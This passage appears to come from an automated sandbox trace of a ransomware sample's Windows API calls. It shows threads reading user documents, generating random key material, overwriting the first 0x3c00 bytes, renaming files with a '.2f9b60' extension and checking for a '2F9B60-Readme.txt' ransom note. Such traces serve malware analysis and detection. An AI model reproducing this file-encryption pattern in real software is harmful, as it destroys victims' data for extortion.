Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1aa0 [0092.503] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.503] WriteFile (in: hFile=0xdb4, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x21dff7d0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x21dff7d0*=0x14a, lpOverlapped=0x0) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133600) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0092.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0092.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dbf0 [0092.583] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc" [0092.583] wcscat (in: _Dest=0x1b79dbf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc.2f9b60" [0092.584] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc.2f9b60", NtPathName=0x21dff7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad5c0 [0092.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0092.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0092.588] NtQueryInformationFile (in: FileHandle=0xdb4, IoStatusBlock=0x21dff858, FileInformation=0x21dff868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21dff858, FileInformation=0x21dff868) returned 0x0 [0092.588] NtSetInformationFile (FileHandle=0xdb4, IoStatusBlock=0x21dff858, FileInformation=0x21dff868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0092.589] FlushFileBuffers (hFile=0xdb4) returned 1 [0092.594] CloseHandle (hObject=0xdb4) returned 1 [0092.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dcf0 [0092.594] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.594] wcscat (in: _Dest=0x1b79dcf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.595] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 Thread: id = 502 os_tid = 0xcac [0092.396] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fQSe7JOpZR2A.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fqse7jopzr2a.xlsx")) returned 0x20 [0092.401] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fQSe7JOpZR2A.xlsx", dwFileAttributes=0x20) returned 1 [0092.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fQSe7JOpZR2A.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fqse7jopzr2a.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde0 [0092.506] GetFileSizeEx (in: hFile=0xde0, lpFileSize=0x2208fb80 | out: lpFileSize=0x2208fb80*=56646) returned 1 [0092.506] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0xdd42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.506] ReadFile (in: hFile=0xde0, lpBuffer=0x2208fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2208fb48, lpOverlapped=0x0 | out: lpBuffer=0x2208fb00*, lpNumberOfBytesRead=0x2208fb48*=0x4, lpOverlapped=0x0) returned 1 [0092.507] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a480 [0092.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.507] NtQuerySystemTime (in: CurrentTime=0x2208fa40 | out: CurrentTime=0x2208fa40*=132462176983342000) returned 0x0 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x2e4aa0c7 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x3b273e70 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x3235c973 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x10b037d4 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x17d588af [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x5ed81ff1 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x19c3966 [0092.507] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0xffc2ba3 [0092.508] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x40cff989 [0092.508] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x19c3966 [0092.508] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x5117f852 [0092.508] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x4f5bc564 [0092.508] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x6928195f [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0xdef99ad [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x4c5089f4 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x25a4bbaa [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x687773f3 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x50cf0158 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x4b2a1bbd [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x6f5a9b28 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x51873ec2 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x533df58f [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x7a462c36 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x2ba116e4 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x777b5d53 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x20fbda9c [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x51318d42 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x4db60674 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x2ff6d256 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x3235c973 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x13a75001 [0092.509] RtlRandomEx (in: Seed=0x2208fa30 | out: Seed=0x2208fa30) returned 0x63998b1b [0092.517] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.517] ReadFile (in: hFile=0xde0, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2208faa0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2208faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.517] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0092.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0092.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.518] WriteFile (in: hFile=0xde0, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2208faa0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2208faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0092.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ebb0 [0092.526] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.526] WriteFile (in: hFile=0xde0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2208fb50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2208fb50*=0x114, lpOverlapped=0x0) returned 1 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0092.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7650 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0092.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0092.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c030 [0092.528] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="f9") returned 2 [0092.528] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="ce") returned 2 [0092.528] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="82") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="72") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="e6") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="72") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="7d") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="7a") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="af") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="dc") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="23") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="99") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="73") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="36") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="6b") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="93") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="5c") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="bc") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="59") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="df") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="1e") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="84") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="d2") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="67") returned 2 [0092.529] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="43") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="bc") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="ad") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="1e") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c06c, _Format="%c%c" | out: _Dest="29") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c06e, _Format="%c%c" | out: _Dest="db") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c070, _Format="%c%c" | out: _Dest="cc") returned 2 [0092.530] sprintf (in: _Dest=0x1b82c072, _Format="%c%c" | out: _Dest="97") returned 2 [0092.530] RtlInitAnsiString (in: DestinationString=0x2208fbc8, SourceString="f9ce8272e6727d7aafdc239973366b935cbc595bdf1e842ad26743bcad1e29dbcc97" | out: DestinationString="f9ce8272e6727d7aafdc239973366b935cbc595bdf1e842ad26743bcad1e29dbcc97") [0092.530] RtlAnsiStringToUnicodeString (in: DestinationString=0x2208fb98, SourceString="f9ce8272e6727d7aafdc239973366b935cbc595bdf1e842ad26743bcad1e29dbcc97", AllocateDestinationString=1 | out: DestinationString="f9ce8272e6727d7aafdc239973366b935cbc595bdf1e842ad26743bcad1e29dbcc97") returned 0x0 [0092.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad5c0 [0092.530] wcscat (in: _Dest=0x1cf4d380, _Source="f9ce8272e6727d7aa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa" [0092.530] wcscat (in: _Dest=0x1cf4d380, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa.2f9b60" [0092.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa.2f9b60", NtPathName=0x2208fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ce8272e6727d7aa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce116b0 [0092.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce116b0) returned 1 [0092.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0092.547] NtQueryInformationFile (in: FileHandle=0xde0, IoStatusBlock=0x2208fbd8, FileInformation=0x2208fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2208fbd8, FileInformation=0x2208fbe8) returned 0x0 [0092.547] NtSetInformationFile (FileHandle=0xde0, IoStatusBlock=0x2208fbd8, FileInformation=0x2208fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0092.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0092.548] FlushFileBuffers (hFile=0xde0) returned 1 [0092.550] CloseHandle (hObject=0xde0) returned 1 [0092.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e690 [0092.550] wcscpy (in: _Dest=0x1b85e690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.550] wcscat (in: _Dest=0x1b85e690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 [0092.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 Thread: id = 503 os_tid = 0xcb0 [0092.611] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\giG8 5Cn89IvzO9r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gig8 5cn89ivzo9r.pps")) returned 0x20 [0092.611] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\giG8 5Cn89IvzO9r.pps", dwFileAttributes=0x20) returned 1 [0092.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\giG8 5Cn89IvzO9r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gig8 5cn89ivzo9r.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0092.611] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2200f880 | out: lpFileSize=0x2200f880*=42655) returned 1 [0092.611] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0xa69b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.611] ReadFile (in: hFile=0xd88, lpBuffer=0x2200f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2200f848, lpOverlapped=0x0 | out: lpBuffer=0x2200f800*, lpNumberOfBytesRead=0x2200f848*=0x4, lpOverlapped=0x0) returned 1 [0092.612] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0092.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0092.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0092.612] NtQuerySystemTime (in: CurrentTime=0x2200f740 | out: CurrentTime=0x2200f740*=132462176984434000) returned 0x0 [0092.612] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x51041c12 [0092.612] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x598d5ca0 [0092.612] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x71607418 [0092.612] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x76da77af [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x98871f0 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x37e0fcfa [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2bd7cb94 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x22aae11e [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x38c030f1 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2ac3b755 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2edf8624 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x4893a5b5 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x6a2e65a8 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x33e9ec9e [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0xcb8b3a [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x383a86c3 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x68a81e53 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x7fda7c3d [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x1ba01853 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0xcb8b3a [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2a4101b4 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x40e85832 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2a129356 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x5467fce2 [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x471e874e [0092.613] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x5005a002 [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x2ef1f5f9 [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x27c8eca [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x4822aea2 [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x5a9c135f [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x4bea1139 [0092.614] RtlRandomEx (in: Seed=0x2200f730 | out: Seed=0x2200f730) returned 0x4b193163 [0092.624] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.624] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2200f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2200f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.624] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0092.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0092.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0092.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0092.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.625] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2200f7a0, lpOverlapped=0x0 | out: 